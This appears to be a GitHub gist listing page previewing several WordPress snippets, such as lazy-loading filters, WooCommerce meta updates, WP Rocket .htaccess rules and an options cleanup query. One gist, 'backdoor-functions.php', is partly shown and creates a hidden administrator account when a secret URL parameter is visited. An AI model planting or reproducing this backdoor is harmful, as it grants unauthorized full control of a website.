Skip to content

Instantly share code, notes, and snippets.

View milllan's full-sized avatar

Milan Petrović milllan

View GitHub Profile
@khoipro
khoipro / sample-lazyload-sections.php
Last active January 8, 2024 22:02
Sample section lazyload using <noscript> - DRAFTING
<?php
/** Drafting **/
add_filter('the_content', 'codetot_lazyload_home_sections', 1000);
function codetot_lazyload_home_sections( $content ) {
$front_page_id = get_option('page_on_front');
if ( ! is_page( $front_page_id ) ) {
return $content;
}
@seebeen
seebeen / basic-stuff.php
Created March 12, 2021 21:40
[WooCommerce Product Manipulation] WooCommerce Product manipulation basics #wordpress #woocommerce
<?php
$product_id = 202;
$product_sku = 'SIFRA-1245';
/*
This won't work because update_post_meta does not trigger necessary additions to product lookup tables and transients
*/
update_post_meta($product_id, '_sku', $product_sku);
@webtrainingwheels
webtrainingwheels / .htaccess
Created October 30, 2019 23:39
WP Rocket htaccess rules
# BEGIN WP Rocket v3.4.0.5
# Use UTF-8 encoding for anything served text/plain or text/html
AddDefaultCharset UTF-8
# Force UTF-8 for a number of file formats
<IfModule mod_mime.c>
AddCharset UTF-8 .atom .css .js .json .rss .vtt .xml
</IfModule>
# FileETag None is not enough for every server.
<IfModule mod_headers.c>
Header unset ETag
@CFranc111
CFranc111 / gist:ca7b7ab6108ce293365f380d5e99b6b2
Created August 22, 2019 16:51
Wordpress add lazy loading all content
function enzothecat_add_lazy_loading($content) {
$content = preg_replace('/src="/', 'loading="lazy" src="', $content);
return $content;
}
add_filter('the_content', 'enzothecat_add_lazy_loading');
@abid112
abid112 / backdoor-functions.php
Created April 25, 2019 07:15
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
@mariovalney
mariovalney / woo-enable-reviews-bulk-edit.php
Created August 7, 2017 19:55
WooCommerce Enable Reviews - Bulk Edit
<?php
/**
*
* Plugin Name: WooCommerce Enable Reviews - Bulk Edit
* Description: Allow enable reviews by bulk edit into WooCommerce
* Version: 1.0.0
* Author: Mário Valney
* Author URI: http://mariovalney.com
* Text Domain: woo-enable-reviews-bulk-edit
*
@Inggo-inHomePortal
Inggo-inHomePortal / cleanup.sql
Created August 19, 2016 07:28
wp_options cleanup
DELETE FROM `wp_options` WHERE option_name IN (
'userpro_activity',
'wpmandrill-stats',
'_transient_RCWFeed_Ms_b22d9dad80577a8e66a230777d91cc6e',
'userpro_cached_results',
'userpro_fields_groups_default',
'userpro_fields_groups',
'era_googleFonts',
'suppamenu_skin_redow',
'suppamenu_skin_ubuntus',
@tripflex
tripflex / functions.php
Last active July 12, 2024 13:20
WordPress Remove Filter (remove_filter converted to remove_class_filter) to remove Filter/Action without Class Object access. Works with WordPress 1.2+ (4.7+ support added 9-19-2016)
<?php
/**
* Make sure the function does not exist before defining it
*/
if( ! function_exists( 'remove_class_filter' ) ){
/**
* Remove Class Filter Without Access to Class Object
*
* In order to use the core WordPress remove_filter() on a filter added with the callback
@ttscoff
ttscoff / font_grabber.rb
Last active May 13, 2021 06:14
Give it a <link> from Google fonts and get back CSS with fonts embedded
#!/usr/bin/ruby
# encoding: utf-8
# Grab google web fonts and embed them as base64 data URIs
# <http://brettterpstra.com/2015/03/14/embedding-google-web-fonts/>
require 'base64'
if ARGV.length > 0
input = ARGV
elsif STDIN.stat.size > 0
input = STDIN.read.strip.split(/\n+/)